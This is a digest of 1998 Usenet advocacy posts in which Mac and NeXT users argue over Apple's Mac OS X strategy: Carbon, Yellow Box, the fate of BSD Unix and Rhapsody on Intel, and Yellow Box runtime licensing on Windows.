> I still can't see,why they would want to abandon the BSD-part,as they
had a working
> system with NextStep and OpenStep all along.
> With the modification to the kernel that now supports multiple
processors it took them a
> few months to get the whole thing running(quick I would say).
> And as in OpenStep: if you don't need the Unix, you won't see the Unix.
>
> Is there really such a Unix-phobia in the Mac-community?
Well, I can't really see an elementary school class being interested in using
Unix for anything. Can you? What would a graphic artist use Unix for?
So of course there's a "phobia" although there are also many users who enjoy
using both the MacOS and any Unix flavor when appropriate.
And also I just read (somewhere) that BSD was necessary for YB to run on top
of Mach or something along those lines. But I really don't know enough to
pretend like I know what I'm talking about. =)
rkt
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 13 May 1998 13:50:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jd11p$5o0@nntp02.primenet.com>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com> <Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: I say unfortunately purely from the perspective of an OPENSTEP developer: the
: strategy Apple has outlined is technically very good for us; from the
: marketing perspective it makes things difficult. The average customer is
: going to need a lot of convincing that Rhapsody 1.0 isn't just going to be an
: orphaned product on release -- if you need proof look at how many people here
: still think Rhapsody's dead. This means that it's going to be a lot more
: difficult gaining new sales than it need have been had the strategy been more
: transparent. Making the strategy more transparent, however, might have been
: the greater of the two evils.
It could be that it has become a question of symantics. On the one hand,
this report at:
http://www.macintouch.com/m10jorg.html
shows "carbon" running on a microkernal and POSIX based OS. Right along
with the Yellow Box and a box labeled "BSD". (Odd that the BSD and POSIX
boxes don't overlap ...)
On the other hand, this report at:
http://www.macnn.com/macnn/reality/archives/051198/news.shtml#AllegroAtWWDC
says
"BSDUnix will not be part of MacOS X "
I'm inclined to think that a MacOS on top of a POSIX layer would be a good
OS. If Mac OS X doesn't ship with "BSD" then it won't be exactly what I
considered Rhapsody to be (UNIX), but as I say we may be down to
symantics. Or not. What does MacOS X have to support to be Rhapsody?
inetd? telnetd? Will the BSD Apache compile and run? I don't expect
we'll know for a while.
John
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 05:43:37 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35597958.2ED785AD@milestonerdl.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at>
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Christian Benesch wrote:
> Is there really such a Unix-phobia in the Mac-community?
Yup. There is. They are 'comfotable' with 'MacOS'
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: Wed, 13 May 1998 21:56:10 +0100
Message-ID: <1d8zle5.111ljjd1f5xqfuN@quern.demon.co.uk>
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <35594B50.B0DF00FC@iphysiol.unil.ch> Sean Hill wrote:
> > Carbon built on top of YellowBox?
> >
> No: Carbon runs alongside YellowBox.
[scratches head, trying to remember anything much from dim and distant
coding days. Eventually decides that FortranIV probably isn't very
relevant to modern OS underpinnings, but asks anyway...]
Does that mean that MacOS X would run two completely separate versions
of - say - QuickTime? That is, one in Carbon and one in Yellow? (then
another one under Blue...).
Would that be:
a. Cleverly pragmatic
b. Inelegant
d. A right mess
e. Inspired, for some subtle reason which escapes me
f. Just Steve for you
g. Jonathan getting it all wrong
or h. All of the above ?
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
Science TV Producer, Leeds/Glasgow, UK
'If I had more time, I would have written you a shorter letter' (Pascal)
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: Wed, 13 May 1998 21:56:22 +0100
Message-ID: <1d8zlpk.1byt5fy1d114cpN@quern.demon.co.uk>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com> <hAk61.1$o52.30691@news.san.rr.com> <6jcobq$53h$1@news.xmission.com> <slrn6ljs6u.p80.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote:
> What would they call it? Display QuickTime?
Well, that's one way of tricking Windows users into getting their fonts
to display at the right size. Tell them it's part of QuickTime and
they'll download it quite happily. ;-)
> Something based on GX code?
SSSssshhhhh!
Drat, too late. That creaking sound you can hear in the background is
another fine thread disappearing into the abyss...
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
Science TV Producer, Leeds/Glasgow, UK
'If I had more time, I would have written you a shorter letter' (Pascal)
From: sjonesNOSPAM@columbus.rr.com (Steve Jones)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why not Carbon/Intel?
Date: Wed, 13 May 1998 16:57:26 -0400
Organization: The Ohio State University
Distribution: World
Message-ID: <sjonesNOSPAM-1305981657270001@grv230155.columbus.rr.com>
References: <8EEF451.09B60071D7.uuout@relaynet.org>
In article <8EEF451.09B60071D7.uuout@relaynet.org>,
sheppard.gordon@relaynet.org (SHEPPARD GORDON) wrote:
> Why is Apple not considering implementing Carbon on top of Rhapsody/Intel?
>
> To do so makes the possibility that Carbon-clean apps could be ported to
> Rhapsody/Intel, yes?
>
> To not do this seems to doom Rhapsody/Intel's continued viability and support
> (given Apple's statements that Rhapsody is a stepping stone to MacOS X), no?
>
> Could someone clear this up? Or is it possible that a clear answer is not yet
> forthcoming?
>
>
>
> -> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Correct me if I'm oversimplifying this, but isn't Carbon basically a
tranparent blue box (MacOS API's) running alongside the Yellowbox? And
then to allow the Carbon apps PMT and protected memory etc., they threw in
a few more API's to get access to those features, thus the necessary tune
up. So, since yellow box is still there, you can choose to write to the
yellow API's and have it be cross platform, or, if you've always used the
MacOS API's, you can use those in the Carbon form, with a little
adjustment for the new API's. Since there's no MacOS for intel, there's no
cross platform if you use Carbon API's. I'm still trying to digest all the
info on MacOS X myself, but this seems like the gist of it so far.
Steve
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 15:02:23 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jd1ov$1a3$1@xmission.xmission.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote:
: if your going to tell me YB on Mach for Intel is dead then I'm going
: to be a little upset.. If you say hey you get YB on 95/NT I say
: garbage give me YB on Mach on Intel.. I can do w/o Bluebox....
These are my sentiments, too.
I would like to hear from Apple their plan for the future of their OS
products on Intel so I can make some reasonable strategic decisions about
whether to spend/waste time on Rhapsody.
: I tell you now if you dump YB on mach on Intel for any reason
: it will clearly be perceived that Apple doesn't believe their
: hardware can compete on a price/performance basis with
: Intel. And at that point I'll go linux.
This is a true fact. It also means that Apple kisses goodbye to the chance
of getting Apple operating systems into Intel-only companies, like mine.
: Any hint of this and Apple has lost a developer and a User.
Sticking with Rhapsody on Intel could mean keeping an entire group of
users at my company, around 120 writers and engineers.
.................kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 98 12:56:33 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B17F491A-9B67B@207.217.155.161>
References: <3559EA9E.3FD91406@spamtoNull.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Jonathan Harker wrote:
>Ah, if only Apple could have actually *done* a competent Blue Box, the
>problem of developer support would have been nil since existing
>applications would have run under Rhapsody.
This is total BS. Apple did do a very competent Blue Box, and it had
certain performance characteristics which would have made it worth a
double-boot for many users.
The issue was that Blue Box apps would not run as first class citizens in
the Rhapsody environment. Additionally, there were issues about IP address
sharing, Apple Events, hardware access,...
The Carbon shared library will make Carbonized apps (many apps may already
be Carbonized and ready to go, believe it or not) first class citizens in
MacOSX.
Then, for new applications, developers can evaluate YellowBox and Carbon
APIs for the APIs themselves instead of worrying about deployment issues.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 15:12:25 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559FEA9.B8B709B8@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jct8v$4ks$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <3559D08E.CC749854@milestonerdl.com>, mark@milestonerdl.com wrote:
> > mmalcolm crawford wrote:
> > > In <3559AAE5.820270F0@milestonerdl.com> M Rassbach wrote:
> > > (b) Why should YB not work on 98 / NT5?
> > Again, Microsoft-centric applications have a history of breaking at the time > of a Microsoft OS upgrade.
> Do you know _why_? Do you know that Yellow Box is independent of MOST
> Windows APIs, including all of MFC?
And Microsoft wound NEVER obstruct another company, or change their OS to break other peoples software.
>
>
> > What is Apple's level of commitment? None, that I see.
>
> None?? They wouldn't be shipping it if they weren't committed!
And if they were COMMITTED, Apple would announce support for NT 5.X/98.Apple is shipping what was pre-announced
by NeXT.
> > > > And they are... NT4/95. Now, why develop for YellowBox if all it's gonna
> > > > do is NT4/95 when Microsoft has NT5/98 in the pipe?
>
> > > Because it's the API of the future for MacOS.
> > > What part of that didn't you understand?
>
> > Thank you for PROVING what I'm suspecting:
>
> Proving??? Only in your insane delusional fantasies.
Think bait and switch.
> Yellow Box is
> a compelling environment with or without YB/Windows. But it's a lot
> more compelling _with_, since although YB is the "API of the future of
> MacOS", you need to keep the Mac developers _on_ MacOS, and expanding
> their market is a really good way to do that.
>
> > Tell everyone YellowBox is cross-platform
> > Yank the Intel support and say 'but you can run under MacOS'
>
> Why on EARTH would they do that??
Why on earth wouldn't they? Apple is in the systems business (so others have said) Why give away a copy of
YellowBox runtimes for NT/Win98 when you could sell them a Mac instead.
Bait 'em in with a free copy of NT runtime...and Oh, how convient.... NT 5 breaks Yellowbox. And Apple never
DID promise NT 5.x, so I guess if you want that app to keep working, you have to stay at NT 4.x, wait for
Microsoft to correct its code to make sure someone elses runs, OR move over to a MacOS machine to run that
YellowBox App.
> I can see a case made for them yanking
> Rhapsody/Intel someday (if it doesn't sell enough to be worth the support
> costs; development costs are nil except for new drivers). But there
> is _no_ reason for them to yank YB/Windows. Tell me, what advantage
> would that be to Apple???
See the 'lets sell some Macs' advantage above.
> I assume you're arguing that all these Mac
> developers will be doing all their Mac development on Wintel boxes,
> which is ridiculous.
Nope. I'm of the believe Apple will do a bait and switch.
> Do you think that any Mac developer is going to
> want to develop under Windows?? No, they'll do it on OS X or Rhapsody or
> whatever the Mac development platform is. If you get rid of YB/Windows,
> all you'll get is more Mac developers abandoning in droves -- with it,
> they can sell into the Mac _and_ Windows markets; without it, they're
> forced to make a choice, and we all know the reasons for choosing Windows.
But the PR is that Apple is better than WinTel. So Apple just focused on its core market, Macintosh. Apple has
done it b4. And you don't think they'd do it again?
Think bait and switch.
Message-ID: <355A0C6D.E31C0EC7@unet.univie.ac.at>
Date: Wed, 13 May 1998 23:11:09 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
<35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> *snip*
> Fair comment. I'm sorry if my post offended -- I was looking purely from the
> technical perspective, I fully agree that there are other considerations too,
> which is why I say that Rhapsody and MacOS have both won.
>
I think many of us OpenSteppers are guilty of not taking into account that there
are MacOS-developers out there with MacOS-interests.
> *snip*
> With Carbon
> you will, apparently, be able to make calls to the YellowBox frameworks, so
> you can move your applications over to YB at your own pace.
>
> Best wishes,
>
> mmalc
> .
Seems a most reasonable concept...
Christian Benesch
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 15:18:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A0000.98C34AB5@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <6jctjh$4m2$1@crib.bevc.blacksburg.va.us>
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So, all you have is 'logic' that Apple won't produce a NT 5.x/98 YellowBox.
Yeeeha!
'Logic' says Apple should make YellowBox for as may platforms as possible. Yet,
the basis of YellowBox (OpenSTEP) worked on Solaris and HP-UX. No announced
YellowBoxes of Solaris/HP-UX.
Oh, and care to comment on this: The NT version of the YellowBox runtime was a
NeXT project. Why does its continuation have to contiune as an Apple project?
Nathan Urban wrote:
> In article <3559D285.C7FC88FA@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Can you give a compelling argument to future YellowBox support on Intel? One
> > that has NT 5.x/win98 listed EXPLICITLY?
>
> The argument is so mind-bogglingly obvious that it's stunning that
> you can't see it. The whole POINT of Yellow Box on Windows is so that
> Mac developers don't abandon the Mac market for the far-larger Windows
> market -- since they can have _both_, stay on their favorite platform,
> _and_ have a considerably superior API to develop with (compared to
> Carbon _or_ what's available on Windows)!! If they can't sell their
> apps on Windows (and it will get progressively harder to do that if only
> NT4 and 95 are supported), then you're back to the same old choice --
> abandon the Mac market or not? That choice will always be there; the
> Mac market will always be smaller.
>
> The gains Apple gets in retaining developers on the platform FAR outweigh
> the MINIMAL requirements necessary to upgrade YB/Windows from NT4/95
> to NT5/98. Without _developers_ producing competitive or superior apps
> for the Mac, there is no compelling reason for _users_ to buy Macs or
> remain on the platform.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:11:04 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jd298$b82$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > Mac OS X is Rhapsody renamed.
> >
> > Repeat it if you like, but that won't stop it being, at best, a
> > half-truth. "Rhapsody" -- according to Apple's great pitch to
> > developers at WWDC 97 -- denotes a system which is (was?) to
> > be made available on Intel systems. There's no indication that
> > this is so for Mac OS X -- indeed rather the opposite.
>
> Even if it is true that MacOS X won't run on Intel, it does not mean that
> "Mac OS X is Rhapsody renamed" is anything like a half-truth. Something
> closer to 99.9% true would be about right.
Even under the previously-announced plans, Rhapsody on Intel was going to
differ from Rhapsody on PPC because it wouldn't have had the Blue Box. So even
then, Rhapsody on Intel wasn't identical to Rhapsody on PPC. All this still
holds true, except that Rhapsody on Intel will have neither Blue Box nor
Carbon, whereas Rhapsody on PPC (er, I mean Mac OS X), will. Whatever they
decide to call Rhapsody on Intel, it doesn't change the fact that Mac
OS X is what used to be called Rhapsody on PPC + Carbon.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:39:24 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A04FC.420CED76@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu>
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spammers@ruin.the.internet.channelu.com wrote:
> Last year apple was touting YellowBox API's.
And They told Newton developers to concentrate on vertical markets. Look
at what happened to them.
> YB is going no-where? Read this: IT IS THE CORE OF APPLE's
> TECHNOLOGY. If you code there you'll be fine as long as
> Apple is around
Or Apple changes it's mind. Carbon COULD be something that Apple INSTEAD
throws its weight behind.
And carbon just might be portable off the PPC.
The less Apple NEEDS YellowBox to keep MacOS applications developed, the
more likely YellowBox chould be dropped.
The less YellowBox outside of MacOS, the eaiser it is to drop YellowBox.
And given Apple's history.....there's NO CHANCE that YellowBox would be
dropped eh?
Apple would drop YellowBox in a heart-beat.....if it suited them.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 17:43:28 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jd460$4vt$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D08E.CC749854@milestonerdl.com> <6jct8v$4ks$1@crib.bevc.blacksburg.va.us> <3559FEA9.B8B709B8@milestonerdl.com>
In article <3559FEA9.B8B709B8@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > > Tell everyone YellowBox is cross-platform
> > > Yank the Intel support and say 'but you can run under MacOS'
> > Why on EARTH would they do that??
> Why on earth wouldn't they? Apple is in the systems business (so others
> have said) Why give away a copy of YellowBox runtimes for NT/Win98 when you
> could sell them a Mac instead.
Naive, naive, naive.
Why give away a copy of Yellow Box for Windows _now_ when you could sell
them a Mac instead? See below for a refutation of "bait and switch".
You fail to appreciate this fact: the way to get people to buy a Mac is
to offer _compelling reasons_ to do so. The compelling reason to buy
a Mac is _good UI, system integration, and ease of use_ coupled with
_good applications_. You need _both_ of them to sell Macs -- without
the ease-of-use, integration, etc., MacOS isn't superior to Windows.
Without good applications, people don't have a reason to use the OS no
matter how good the core may be.
Now, Yellow Box is a solution to "good applications". Your notion is
apparently that if all the good Yellow apps run on MacOS and Windows,
there will be no reason to choose a Mac. That is not correct -- there
are other compelling reasons, as mentioned above. The Mac is clearly
superior to Wintel platforms in technology -- especially as viewed by
Mac users! Now, if someone was given the choice between Mac and Wintel
(since they both run the same Yellow applications) and they chose Wintel,
it's because of the software availability of Windows, or perhaps because
of hardware price/peformance (though that's getting more comparable).
That means that there is still software on Windows that they need to use.
If you take Yellow Box away, those people are not going to switch back
over to a Mac, since Windows still has things they need that the Mac
doesn't, and besides, they already _have_ a Wintel system (so people
who chose Wintel because it was cheaper aren't going to run out and buy
a new Mac).
However, the "good applications" thing is key. It is not enough for
MacOS to be easy to use, good integration, etc. You _have_ to solve
the problem of users not being able to run software they need on a Mac,
or people simply will not choose a Mac no matter how good it is otherwise.
To produce good software, you need good developers and a good development
environment, who are _actively developing for the Mac_. Right now,
developers are abandoning the Mac platform, and it is especially not
attracting _new_ developers. The reason is simply because the Mac
market is so small -- there are still reasons why it's _good_ to be in
the Mac market, but they're often not good enough -- and it's hard for
new startups to survive, it's mostly jus the existing Mac mainstays that
are still here. Guess what will make the market grow: good software,
so users aren't _forced_ to choose Wintel to get their work done.
How do you keep Mac developers from leaving? Solve the small-market
problem: allow them to continue to be Mac developers, but let them
sell into the Wintel market _too_ -- best of both worlds. How do you
attract _new_ developers (who are usually existing Wintel developers)?
Provide a superior development environment than what they're using, but
still allow them to produce Wintel software. A Wintel developer just
isn't likely to spend the effort to get into the Mac market, because it
would mean either abandoning Wintel or spending a lot of cross-platform
development time for a negligible market -- but if you can give him tools
for developing for _Windows_ that are better than what he has, _and_ by
the way, you can also make it run on a Mac without source modifications,
then he might be willing to give the Mac market a shot. He might not
care at all about selling into the Mac market, initially, he might use
YB/Windows purely for a better _Windows_ development environment (in
most cases perhaps not, but quite possibly in certain niches where YB
is the most superior), but as long as he can put out a Mac version too
with no effort, why not?
Now, if the Mac market ever expands to a size where developers are
not inclined to abandon it to the Wintel world, and it attracts Wintel
developers to convert (i.e., not even care about the Wintel market) with
ease, _then_ that could be a reason for dropping YB/Windows. But that's a
_long_ way off, and quite possibly _never_. Right now, Apple is bleeding
badly and they HAVE to get top-notch developers interested in producing
excellent apps for the platform, apps that are comparable to and fill
the niches of what's in the Wintel world -- even if those same apps are
themselves available for Wintel.
> Bait 'em in with a free copy of NT runtime...and Oh, how convient.... NT 5
> breaks Yellowbox.
<snicker> So you think all of those people who are using Yellow Box on
Windows are suddenly going to switch to MacOS when Apple pulls their
"bait and switch"?? That's amusing. The people who are willing to
run MacOS will do so _either_ way. If they're not willing to give up
Windows when choosing between the two as a YB-capable platform, then
they're not going to switch _away_ from it once they already have it.
Anyone for whom YB is a crucial, necessary feature is almost certainly
going to use a Mac in the first place, even if YB/Windows is available.
> > Do you think that any Mac developer is going to
> > want to develop under Windows?? No, they'll do it on OS X or Rhapsody or
> > whatever the Mac development platform is. If you get rid of YB/Windows,
> > all you'll get is more Mac developers abandoning in droves -- with it,
> > they can sell into the Mac _and_ Windows markets; without it, they're
> > forced to make a choice, and we all know the reasons for choosing Windows.
> But the PR is that Apple is better than WinTel. So Apple just focused on its
> core market, Macintosh. Apple has done it b4. And you don't think they'd do
> it again?
> Think bait and switch.
You're just too funny.
Apple is very shortly not going to HAVE a core market, Macintosh, if it
can't give developers a very good reason to develop for the platform.
The existence of YB alone is a good reason, but it is nowhere near as
compelling as providing a means for existing Mac developers to tap the
Wintel market, and even the superiority of YB is not alone enough to
entice existing Wintel developers to the much smaller Mac market if it
means abandoning Wintel. Why on earth would the average developer choose
to develop for a Mac nowadays, with the size of its market? In some
niches you can make a case, but in general? And it's a vicious circle
-- the size of the market isn't going to increase unless it attracts
developers making good applications so users don't have to use Windows.
Message-ID: <355A14F6.3A0CD0CB@unet.univie.ac.at>
Date: Wed, 13 May 1998 23:47:35 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
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3 Unix reasons:
Stability
Stability
Stability
And this will help elementary schools and graphic artists and everyone else, even
though they will never open a UNIX shell window.
Christian Benesch
Tapella wrote:
> > I still can't see,why they would want to abandon the BSD-part,as they
> had a working
> > system with NextStep and OpenStep all along.
> > With the modification to the kernel that now supports multiple
> processors it took them a
> > few months to get the whole thing running(quick I would say).
> > And as in OpenStep: if you don't need the Unix, you won't see the Unix.
> >
> > Is there really such a Unix-phobia in the Mac-community?
>
> Well, I can't really see an elementary school class being interested in using
> Unix for anything. Can you? What would a graphic artist use Unix for?
> So of course there's a "phobia" although there are also many users who enjoy
> using both the MacOS and any Unix flavor when appropriate.
>
> And also I just read (somewhere) that BSD was necessary for YB to run on top
> of Mach or something along those lines. But I really don't know enough to
> pretend like I know what I'm talking about. =)
>
> rkt
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: Wed, 13 May 1998 17:16:51 -0400
Organization: Cabletron Systems Inc.
Message-ID: <355A0DC3.2781E494@ctron.com>
References: <3559973E.12D2EC2C@milestonerdl.com> <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca>
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Bruce Bennett wrote:
>
> M Rassbach <mark@milestonerdl.com> wrote:
>
> > This http://www.macintouch.com/m10jorg.html is more like it.
> >
> > Still doesn't answer the cross-platform YellowBox, nor the Intel
> > Rhapsody questions, but one step at a time.
>
> I particularly like the implications of the block diagram:
>
> blue_box carbon yellow_box BSD
> | | | |
> | | | |
> ________________________________________
> shared system services
> ________________________________________
> core OS
>
> -- suggesting a more gradual step-by-step transition path from System 8
> apps to interim "carbonized" ones and finally to Yellow Box apps.
>
> (Or finally, if you're a Unix/X devotee, to BSD. :^)
Why is carbon an interim step? Maybe Yellow Box won't catch on with
users
or developers. Maybe most developers will be content to deal with the
lower
transistion costs of macos->carbon instead of macos->carbon->yb. I
think it
is too premature to assume anything about what transition will actually
occur.
AJ LaSalle
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 21:48:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jd4f5$ehq$1@nnrp1.dejanews.com>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com>
mark@milestonerdl.com wrote:
> Adobe has a cross-platform product for Windows. To get them on YellowBox,
> you need to offer more.
Right, except that as things stand, being cross-platform means that Adobe has
to maintain two quite distinct code bases for their Mac and Windows products.
If they moved to Yellow Box, they'd have a single code base for both
platforms. And that's before you even consider that that single code base
would be better than either their current platform-specific code bases because
of all the services that Yellow Box provides for free.
If Adobe can't see that, they'll soon join Lotus and WordPerfect on the list
of formerly dominant application vendors that have faded into oblivion.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 13 May 1998 22:04:12 GMT
Organization: Michigan State University
Message-ID: <6jd5cs$5nv$5@msunews.cl.msu.edu>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: sal@panix3.panix.com
In <slrn6ljskk.p80.sal@panix3.panix.com> Salvatore Denaro wrote:
> On 13 May 1998 16:30:08 GMT, mmalcolm crawford <malcolm@plsys.co.uk>
wrote:
> >In <6jboq5$eua$9@news.idiom.com> John C. Randolph wrote:
> >> Well, Adobe didn't play ball. That's pretty irritating, to say
the least.
> >> Suggested workaround: A bundle of the NeXT apps, like Mail.app
and
> >TextEdit,
> >> and all the stuff from /Nextdeveloper/demos, for $25.
>
> >Or maybe a bundle of other commercial YB apps...
>
> Maybe Mesa, WriteUp and Create! could be bundled together for $350 or
so? Or
> you could get the CD (and the YB run times) for $25 and buy keys from
the
> developers on a per app basis?
>
Hmmm. Now I have to wonder how many .dlls are required and what we
are paying license fees for. Couldn't it be possible to just buy all
the licensed
dlls once for like $25 (to each user) and then purchase the apps w/o
license
fees (since they already paid once). There is no reason that we should
have
to pay over and over again for the same licenses to use multiple apps..
I think there should be some discussion about this between developers
and
Apple since I am not going to feel warm and fuzzy paying $20-25 extra
for each app to use the same runtimes.. Especially if I buy YB.
I think for developers they should investigate with Apple whether it
would
be legal to sell the YB apps w/o the runtimes and not charge the $20-25
extra/seat. If people want the version w/ runtimes they can pay the
extra
$20-25. For eveyone with a YB CD or runtime CD (purchased @ $20-25
from Apple, or a dev - and registered with Apple) on install they just
stick
in the CD and voila they get the required runtimes for the app. :)
This is something Apple should look into carefully. It may be easily
cracked
or copied but in principle if all Apple wants is payment per seat (not
per app)
of the windows runtimes. Then they should figure out how to do the
licensing
on a per seat basis rather than a per app basis.
Just my .02c
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8z9bx.1ihb4kl1dj4ljnN@roxboro0-035.dyn.interpath.net>
